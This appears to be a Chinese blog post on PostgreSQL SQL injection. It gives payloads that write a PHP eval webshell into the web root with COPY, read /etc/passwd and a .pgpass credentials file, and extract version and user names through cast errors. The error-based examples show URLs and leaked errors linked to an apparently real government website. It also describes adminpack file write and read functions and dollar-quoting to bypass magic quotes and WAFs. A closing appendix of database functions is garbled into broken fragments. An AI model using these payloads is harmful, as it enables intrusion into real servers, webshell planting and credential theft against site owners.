天天看點

Postgresql注入研究三兩事(續集)

以下下部分有Mickey兄提供

1.在postgresql下導出webshell

create table mickey_shell(shell text not null);

insert into shell values('<?php eval($_POST[cmd]);?>');

copy mickey_shell(shell) to '/var/www/html/mickey.php';

另一種簡便的方法:

copy (select '<?php eval($_POST[cmd]);?>') to '/var/www/html/mickey.php'

2.如果沒有寫權限,可以嘗試讀檔案

create table mickey_file(file text not null);

copy mickey_file (file) from '/etc/passwd';

select * from mickey_file;

讀取檔案前20行

pg_read_file('/etc/passwd',1,20)

PGADMIN

的帳戶資訊,在linux

下預設存放在使用者家目錄的.pgpass

檔案中

mickey@pentest:~$ pwd

/home/mickey

mickey@pentest:~$ cat .pgpass

127.0.0.1:5432:*:postgres:mickey

判斷postgresql

資料庫

<a href="http://www.jncqzx.gov.cn/news.php?id=62">http://www.xxx.com/news.php?id=62</a>

and 1::int=1

通過cast

類型轉換來暴postgresql

資訊

<a href="http://www.jncqzx.gov.cn/news.php?id=77">http://www.xxx.com/new.php?id=1</a>

and 1=cast(version() as int)

Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid

input syntax for integer: "PostgreSQL 8.2.9 on

i386-portbld-freebsd6.3, compiled by GCC cc (GCC) 3.4.6 [FreeBSD]

20060305" in /usr/local/www/apache22/data/qzx/news.php on line 6

and 1=cast(current_user as int)

如果遇到此類的出錯資訊

Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: cannot

cast type name to integer in /usr/local/www/apache22/data/qzx/news.php

on line 6

and 1=cast(current_user ||123 as int)

input syntax for integer: "zhangfeng123" in

/usr/local/www/apache22/data/qzx/homehs.php on line 109

我的小小補充

        沒研究注入許久了,多謝Mickey兄提供才有了我重新審視pgsql注入的機會。

        從pgsql8.2開始支援adminpack這個包,看了代碼過後認為幾乎對于管理者來說,可以無限制使用。(代碼   

https://projects.commandprompt.com/public/replicator/browser/trunk

/contrib/adminpack/adminpack.c)。權限要求很高。主要有這幾個函數

       pg_file_write(filename,text,bool)   bool為覆寫模式

       pg_read_file(filename,pos,length) 傳回類型text不提,很好利用,不管是cast暴值還是union

       pg_ls_dir(dirname)

       注意他的傳回類型為setof text 需要這樣來(select pg_ls_dir('/var/www/') limit 1 offset n)這樣來讀取不同記錄

       pg_stat_file(filename)   這個傳回結果是record,為檔案屬性,需要把他作為一個子表來看待。不太清楚具體的傳回字段。有興趣的同學自己看看。另外像pg_file_unlink,pg_file_raname不提。

       單引号的繞過在pg8.0以上容易實作。這部分來源于老外的文檔。大緻意思可以用$quote$代替單引号,也可以用$$來定義字元。比如'test'變成$quote$test$quote$或$$test$$。這樣對php的注入就大為友善了。

下面引用自:Advanced PostgreSQL SQL Injection and Filter Bypass Techniques(作者:Leon Juranić)

              This allows the attacker string quoting with the dollar sign; the following two strings

are treated identically by a PostgreSQL database version 8 or higher: 'TEST' and $$TEST$$.

Considering that magic quotes does not filter dollar signs, this allows the attacker to inject

strings into SQL statements without the need to use the CHR() function. Such encoding of

strings can also be used with web application firewalls that filter other characters, such as the

pipe ('|') character.

The following example shows a SELECT statement using a dollar-quoted string constant:

SELECT $$DOLLAR-SIGN-TEST$$;

Finally, PostgreSQL supports string quoting with tags. Tags have to be defined between the

dollar signs ($tag$), as shown in the example below:

SELECT $quote$DOLLAR-SIGN-TEST$quote$;

This can further help the attacker bypass web application firewalls.

附錄:

系統資訊函數

9-39

顯示了幾個抽取會話及系統資訊的函數。

9-39.

會話資訊函數

名字

傳回類型

描述

current_database()

name

目前資料庫的名字

current_schema()

目前模式的名字

current_schemas(boolean)

name[]

在搜尋路徑中的模式名字

current_user

目前執行環境下的使用者名

inet_client_addr()

inet

連接配接的遠端址

inet_client_port()

int

連接配接的遠端端口

inet_server_addr()

連接配接的本地位址

inet_server_port()

連接配接的本地端口

session_user

會話使用者名

pg_postmaster_start_time()

timestamp with time zone

postmaster

啟動的時間

user

等于

version

()

text

PostgreSQL

版本資訊

通常是初始化目前資料庫聯接的使用者, 不過超級使用者可以用

SET SESSION AUTHORIZATION

修改這個設定。

是用于權限檢查的使用者辨別。通常, 它總是等于會話使用者,但是在将來可能有

"setuid"

函數和其他它是等于會話使用者, 但是它在函數執行的過程中随着屬性

SECURITY DEFINER

的改變而改變。 在

Unix

的說法裡,那麼會話使用者是

"

真實使用者

,而目前使用者是

有效使用者